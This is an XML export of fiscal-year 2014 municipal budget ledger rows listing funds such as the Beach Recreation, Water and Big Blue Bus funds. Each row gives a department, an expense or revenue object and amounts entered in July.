<row _id="7744"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2280.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2280.0</total></row>
<row _id="7745"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>344554.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>344554.0</total></row>
<row _id="7746"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>31000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>31000.0</total></row>
<row _id="7747"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>676826.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>676826.0</total></row>
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<row _id="7749"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-OPEN SP</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-78409.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-78409.0</total></row>
<row _id="7750"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2657047.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2657047.0</total></row>
<row _id="7751"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>41194.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>41194.0</total></row>
<row _id="7752"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409073.0</object><object_description>ROSIE'S GIRLS-SUMMER II</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-17991.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-17991.0</total></row>
<row _id="7753"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>400610.0</object><object_description>USE OF PUBLIC PROPERTY PERMITS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-488071.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-488071.0</total></row>
<row _id="7754"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-ST MAINTENA</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-150000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-150000.0</total></row>
<row _id="7755"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>401810.0</object><object_description>ENCROACHMENT REVENUE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-3888.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3888.0</total></row>
<row _id="7756"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4300.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4300.0</total></row>
<row _id="7757"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>440.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>440.0</total></row>
<row _id="7758"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="7759"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>106121.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>106121.0</total></row>
<row _id="7760"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20910.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20910.0</total></row>
<row _id="7761"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>673</division_id><division_name>ARCADIA TREATMENT PLANT</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>122400.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>122400.0</total></row>
<row _id="7762"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>673</division_id><division_name>ARCADIA TREATMENT PLANT</division_name><object>544011.0</object><object_description>CHEMICALS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>924906.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>924906.0</total></row>
<row _id="7763"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555013.0</object><object_description>OUTSIDE REPAIRS - SHOP EQUIP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>67855.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>67855.0</total></row>
<row _id="7764"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555015.0</object><object_description>OUTSIDE REPAIRS - BLDG MAINT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>361123.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>361123.0</total></row>
<row _id="7765"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560070.0</object><object_description>INDUSTRIAL SAFETY SHOES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>615.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>615.0</total></row>
<row _id="7766"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562701.0</object><object_description>OLDER YOUTH SET-ASIDE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>318372.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>318372.0</total></row>
<row _id="7767"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404750.0</object><object_description>415 PCH - RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-504300.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-504300.0</total></row>
<row _id="7768"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>296844.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>296844.0</total></row>
<row _id="7769"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8334.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8334.0</total></row>
<row _id="7770"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>49694.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>49694.0</total></row>
<row _id="7771"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8359.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8359.0</total></row>
<row _id="7772"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>863.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>863.0</total></row>
<row _id="7773"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2940.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2940.0</total></row>
<row _id="7774"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1438.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1438.0</total></row>
<row _id="7775"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>38363.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>38363.0</total></row>
<row _id="7776"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>195754.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>195754.0</total></row>
<row _id="7777"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>631.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>631.0</total></row>
<row _id="7778"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>558</division_id><division_name>BEACH MAINTENANCE</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7779"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>571130.0</object><object_description>S+C HAP SUO5</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>309861.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>309861.0</total></row>
<row _id="7780"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>571150.0</object><object_description>S+C HAP NEW</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>290481.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>290481.0</total></row>
<row _id="7781"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-9172.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-9172.0</total></row>
<row _id="7782"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-42561.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-42561.0</total></row>
<row _id="7783"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-46616.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-46616.0</total></row>
<row _id="7784"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-10503.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-10503.0</total></row>
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<row _id="7810"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>673</division_id><division_name>ARCADIA TREATMENT PLANT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>792433.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>792433.0</total></row>
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<row _id="7812"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>404150.0</object><object_description>LIBRARY COMPUTER SESSIONS FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-25000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-25000.0</total></row>
<row _id="7813"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>404970.0</object><object_description>OFFSITE IMPROVEMENTS REIMBURSE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-50000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-50000.0</total></row>
<row _id="7814"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404750.0</object><object_description>415 PCH - RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-51325.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-51325.0</total></row>
<row _id="7815"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>13828.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13828.0</total></row>
<row _id="7816"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>11133.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11133.0</total></row>
<row _id="7817"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2883.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2883.0</total></row>
